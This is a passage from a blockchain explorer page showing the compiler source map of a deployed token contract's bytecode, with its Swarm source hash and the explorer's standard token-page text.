061:13:0;;-1:-1:-1;;;;;12053:21:0;;;12061:13;;12053:21;;;;:44;;-1:-1:-1;12084:13:0;;-1:-1:-1;;;;;12078:19:0;;;12084:13;;12078:19;;12053:44;11992:621;;;-1:-1:-1;12125:5:0;11992:621;;;12209:13;;-1:-1:-1;;;;;12201:21:0;;;12209:13;;12201:21;:55;;;;-1:-1:-1;12240:15:0;;-1:-1:-1;;;;;12226:30:0;;;12240:15;;12226:30;;12201:55;12198:162;;;12289:14;;12277:9;:26;12332:12;;12322:7;:22;12198:162;12420:13;;-1:-1:-1;;;;;12414:19:0;;;12420:13;;12414:19;:55;;;;-1:-1:-1;12453:15:0;;-1:-1:-1;;;;;12437:32:0;;;12453:15;;12437:32;;12414:55;12410:189;;;12522:10;;12502:15;;:39;;-1:-1:-1;;;;;12522:10:0;:18;12502:19;:39::i;:::-;12490:9;:51;12570:13;;12560:7;:23;12410:189;12626:41;12641:4;12647:2;12651:6;12659:7;12626:14;:41::i;1289:224::-;1409:7;1445:12;1437:6;;;;1429:29;;;;-1:-1:-1;;;1429:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1469:9:0;1481:5;1485:1;1481;:5;:::i;:::-;1469:17;1289:224;-1:-1:-1;;;;;1289:224:0:o;14537:93::-;14594:11;;:28;;:11;;;;-1:-1:-1;;;;;14594:11:0;;:28;;;;;;;;;;;;:11;:28;;;;;;;;;;;;;;;;;;;;;14537:93;:::o;10026:202::-;10121:7;10146:19;10168:10;:8;:10::i;:::-;10146:32;-1:-1:-1;10196:24:0;:7;10146:32;10196:11;:24::i;:::-;10189:31;10026:202;-1:-1:-1;;;10026:202:0:o;8475:483::-;5945:10;:17;;-1:-1:-1;;5945:17:0;;;;;8577:16:::1;::::0;;8591:1:::1;8577:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8577:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8577:16:0::1;8553:40;;8622:4;8604;8609:1;8604:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8604:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8648:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8648:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8604:7;;8648:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8638:4;8643:1;8638:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8638:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8713:15:::1;::::0;8681:62:::1;::::0;8698:4:::1;::::0;8713:15:::1;8731:11:::0;8681:8:::1;:62::i;:::-;8754:15;::::0;:196:::1;::::0;-1:-1:-1;;;8754:196:0;;-1:-1:-1;;;;;8754:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;8835:11;;8754:15:::1;::::0;8877:4;;8904::::1;::::0;8924:15:::1;::::0;8754:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5985:10:0;:18;;-1:-1:-1;;5985:18:0;;;-1:-1:-1;;;;8475:483:0:o;1144:136::-;1202:7;1229:43;1233:1;1236;1229:43;;;;;;;;;;;;;;;;;:3;:43::i;12912:282::-;13068:7;13063:28;;13077:14;:12;:14::i;:::-;13102:44;13120:6;13128:9;13139:6;13102:17;:44::i;:::-;13162:7;13157:29;;13171:15;9253:17;;9241:9;:29;9291:15;;9281:7;:25;9197:117;15511:164;15553:7;15574:15;15591;15610:19;:17;:19::i;:::-;15573:56;;-1:-1:-1;15573:56:0;-1:-1:-1;15647:20:0;15573:56;;15647:11;:20::i;:::-;15640:27;;;;15511:164;:::o;1777:132::-;1835:7;1862:39;1866:1;1869;1862:39;;;;;;;;;;;;;;;;;:3;:39::i;8967:221::-;9014:9;;:14;:30;;;;-1:-1:-1;9032:7:0;;:12;9014:30;9010:43;;;8967:221::o;9010:43::-;9086:9;;;9066:17;:29;9124:7;;;9106:15;:25;-1:-1:-1;9145:13:0;;;;9169:11;8967:221::o;13203:618::-;13350:15;13380:23;13418:12;13445:23;13483:12;13510:13;13537:27;13548:7;13557:6;13537:10;:27::i;:::-;-1:-1:-1;;;;;13593:15:0;;;;;;:7;:15;;;;;;13335:229;;-1:-1:-1;13335:229:0;;-1:-1:-1;13335:229:0;;-1:-1:-1;13335:229:0;-1:-1:-1;13335:229:0;-1:-1:-1;13335:229:0;-1:-1:-1;13593:28:0;;13335:229;13593:19;:28::i;:::-;-1:-1:-1;;;;;13575:15:0;;;;;;;:7;:15;;;;;;:46;;;;13653:18;;;;;;;:39;;13676:15;13653:22;:39::i;:::-;-1:-1:-1;;;;;13632:18:0;;;;;;:7;:18;;;;;:60;13703:16;13713:5;13703:9;:16::i;:::-;13730:23;13742:4;13748;13730:11;:23::i;:::-;13786:9;-1:-1:-1;;;;;13769:44:0;13778:6;-1:-1:-1;;;;;13769:44:0;;13797:15;13769:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13769:44:0;;;;;;;;13324:497;;;;;;13203:618;;;:::o;15684:257::-;15782:7;;15735;;;;4670:15;15850:20;15782:7;4670:15;15850:11;:20::i;:::-;15840:7;:30;15836:61;;;-1:-1:-1;;15880:7:0;;;4670:15;;-1:-1:-1;15684:257:0;-1:-1:-1;15684:257:0:o;15836:61::-;15916:7;;15925;;-1:-1:-1;15684:257:0;-1:-1:-1;15684:257:0:o;1918:223::-;2038:7;2073:12;2066:5;2058:28;;;;-1:-1:-1;;;2058:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2097:9:0;2109:5;2113:1;2109;:5;:::i;14821:681::-;14937:7;14959;14981;15003;15025;15047;15083:23;15108:12;15122:13;15152:40;15164:7;15173:9;;15184:7;;15152:11;:40::i;:::-;15082:110;;;;;;15203:19;15225:10;:8;:10::i;:::-;15203:32;;15247:15;15264:23;15289:12;15318:46;15330:7;15339:4;15345:5;15352:11;15318;:46::i;:::-;15389:10;;15246:118;;-1:-1:-1;15246:118:0;;-1:-1:-1;15246:118:0;-1:-1:-1;;;;;;15389:10:0;;;15379:20;;;;15375:40;;15412:1;15402:11;;15375:40;15433:7;;15442:15;;-1:-1:-1;15433:7:0;;-1:-1:-1;15465:15:0;;-1:-1:-1;15482:4:0;;-1:-1:-1;15482:4:0;-1:-1:-1;14821:681:0;;-1:-1:-1;;;;14821:681:0:o;956:179::-;1014:7;;1046:5;1050:1;1046;:5;:::i;:::-;1034:17;;1075:1;1070;:6;;1062:46;;;;-1:-1:-1;;;1062:46:0;;12630:2:1;1062:46:0;;;12612:21:1;12669:2;12649:18;;;12642:30;12708:29;12688:18;;;12681:57;12755:18;;1062:46:0;12428:351:1;13830:211:0;13883:19;13905:10;:8;:10::i;:::-;13883:32;-1:-1:-1;13926:13:0;13942:22;:5;13883:32;13942:9;:22::i;:::-;14016:4;14000:22;;;;:7;:22;;;;;;13926:38;;-1:-1:-1;14000:33:0;;13926:38;14000:26;:33::i;:::-;13991:4;13975:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13830:211:0:o;14050:147::-;14128:7;;:17;;14140:4;14128:11;:17::i;:::-;14118:7;:27;14169:10;;:20;;14184:4;14169:14;:20::i;:::-;14156:10;:33;-1:-1:-1;;14050:147:0:o;15950:469::-;16119:7;;;;16213:30;16239:3;16213:21;:7;16225:8;16213:11;:21::i;:::-;:25;;:30::i;:::-;16198:45;-1:-1:-1;16254:13:0;16270:28;16294:3;16270:19;:7;16282:6;16270:11;:19::i;:28::-;16254:44;-1:-1:-1;16309:23:0;16335:28;16254:44;16335:17;:7;16347:4;16335:11;:17::i;:::-;:21;;:28::i;:::-;16309:54;16399:4;;-1:-1:-1;16405:5:0;;-1:-1:-1;15950:469:0;;-1:-1:-1;;;;;15950:469:0:o;16428:534::-;16622:7;;;;16719:24;:7;16731:11;16719;:24::i;:::-;16701:42;-1:-1:-1;16754:12:0;16769:21;:4;16778:11;16769:8;:21::i;:::-;16754:36;-1:-1:-1;16801:13:0;16817:22;:5;16827:11;16817:9;:22::i;:::-;16801:38;-1:-1:-1;16850:23:0;16876:28;16801:38;16876:17;:7;16888:4;16876:11;:17::i;:28::-;16923:7;;;;-1:-1:-1;16949:4:0;;-1:-1:-1;16428:534:0;;-1:-1:-1;;;;;;;16428:534:0:o;1522:246::-;1580:7;1604:1;1609;1604:6;1600:47;;-1:-1:-1;1634:1:0;1627:8;;1600:47;1657:9;1669:5;1673:1;1669;:5;:::i;:::-;1657:17;-1:-1:-1;1702:1:0;1693:5;1697:1;1657:17;1693:5;:::i;:::-;:10;1685:56;;;;-1:-1:-1;;;1685:56:0;;13159:2:1;1685:56:0;;;13141:21:1;13198:2;13178:18;;;13171:30;13237:34;13217:18;;;13210:62;-1:-1:-1;;;13288:18:1;;;13281:31;13329:19;;1685:56:0;12957:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:118::-;2827:5;2820:13;2813:21;2806:5;2803:32;2793:60;;2849:1;2846;2839:12;2864:750;2956:6;2964;2972;3025:2;3013:9;3004:7;3000:23;2996:32;2993:52;;;3041:1;3038;3031:12;2993:52;3081:9;3068:23;3110:18;3151:2;3143:6;3140:14;3137:34;;;3167:1;3164;3157:12;3137:34;3205:6;3194:9;3190:22;3180:32;;3250:7;3243:4;3239:2;3235:13;3231:27;3221:55;;3272:1;3269;3262:12;3221:55;3312:2;3299:16;3338:2;3330:6;3327:14;3324:34;;;3354:1;3351;3344:12;3324:34;3409:7;3402:4;3392:6;3389:1;3385:14;3381:2;3377:23;3373:34;3370:47;3367:67;;;3430:1;3427;3420:12;3367:67;3461:4;3453:13;;;;-1:-1:-1;3485:6:1;-1:-1:-1;;3526:20:1;;3513:34;3556:28;3513:34;3556:28;:::i;:::-;3603:5;3593:15;;;2864:750;;;;;:::o;3619:388::-;3687:6;3695;3748:2;3736:9;3727:7;3723:23;3719:32;3716:52;;;3764:1;3761;3754:12;3716:52;3803:9;3790:23;3822:31;3847:5;3822:31;:::i;:::-;3872:5;-1:-1:-1;3929:2:1;3914:18;;3901:32;3942:33;3901:32;3942:33;:::i;:::-;3994:7;3984:17;;;3619:388;;;;;:::o;4012:356::-;4214:2;4196:21;;;4233:18;;;4226:30;4292:34;4287:2;4272:18;;4265:62;4359:2;4344:18;;4012:356::o;4373:127::-;4434:10;4429:3;4425:20;4422:1;4415:31;4465:4;4462:1;4455:15;4489:4;4486:1;4479:15;4505:127;4566:10;4561:3;4557:20;4554:1;4547:31;4597:4;4594:1;4587:15;4621:4;4618:1;4611:15;4637:135;4676:3;4697:17;;;4694:43;;4717:18;;:::i;:::-;-1:-1:-1;4764:1:1;4753:13;;4637:135::o;4777:251::-;4847:6;4900:2;4888:9;4879:7;4875:23;4871:32;4868:52;;;4916:1;4913;4906:12;4868:52;4948:9;4942:16;4967:31;4992:5;4967:31;:::i;5954:306::-;6042:6;6050;6058;6111:2;6099:9;6090:7;6086:23;6082:32;6079:52;;;6127:1;6124;6117:12;6079:52;6156:9;6150:16;6140:26;;6206:2;6195:9;6191:18;6185:25;6175:35;;6250:2;6239:9;6235:18;6229:25;6219:35;;5954:306;;;;;:::o;6544:245::-;6611:6;6664:2;6652:9;6643:7;6639:23;6635:32;6632:52;;;6680:1;6677;6670:12;6632:52;6712:9;6706:16;6731:28;6753:5;6731:28;:::i;10422:125::-;10487:9;;;10508:10;;;10505:36;;;10521:18;;:::i;10956:128::-;11023:9;;;11044:11;;;11041:37;;;11058:18;;:::i;11221:980::-;11483:4;11531:3;11520:9;11516:19;11562:6;11551:9;11544:25;11588:2;11626:6;11621:2;11610:9;11606:18;11599:34;11669:3;11664:2;11653:9;11649:18;11642:31;11693:6;11728;11722:13;11759:6;11751;11744:22;11797:3;11786:9;11782:19;11775:26;;11836:2;11828:6;11824:15;11810:29;;11857:1;11867:195;11881:6;11878:1;11875:13;11867:195;;;11946:13;;-1:-1:-1;;;;;11942:39:1;11930:52;;12037:15;;;;12002:12;;;;11978:1;11896:9;11867:195;;;-1:-1:-1;;;;;;;12118:32:1;;;;12113:2;12098:18;;12091:60;-1:-1:-1;;;12182:3:1;12167:19;12160:35;12079:3;11221:980;-1:-1:-1;;;11221:980:1:o;12206:217::-;12246:1;12272;12262:132;;12316:10;12311:3;12307:20;12304:1;12297:31;12351:4;12348:1;12341:15;12379:4;12376:1;12369:15;12262:132;-1:-1:-1;12408:9:1;;12206:217::o;12784:168::-;12857:9;;;12888;;12905:15;;;12899:22;;12885:37;12875:71;;12926:18;;:::i

Swarm Source

ipfs://0f83661582c22a18b61b59e2fc2e618efbc066c23ac113c9022cfc1c9a1840de
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.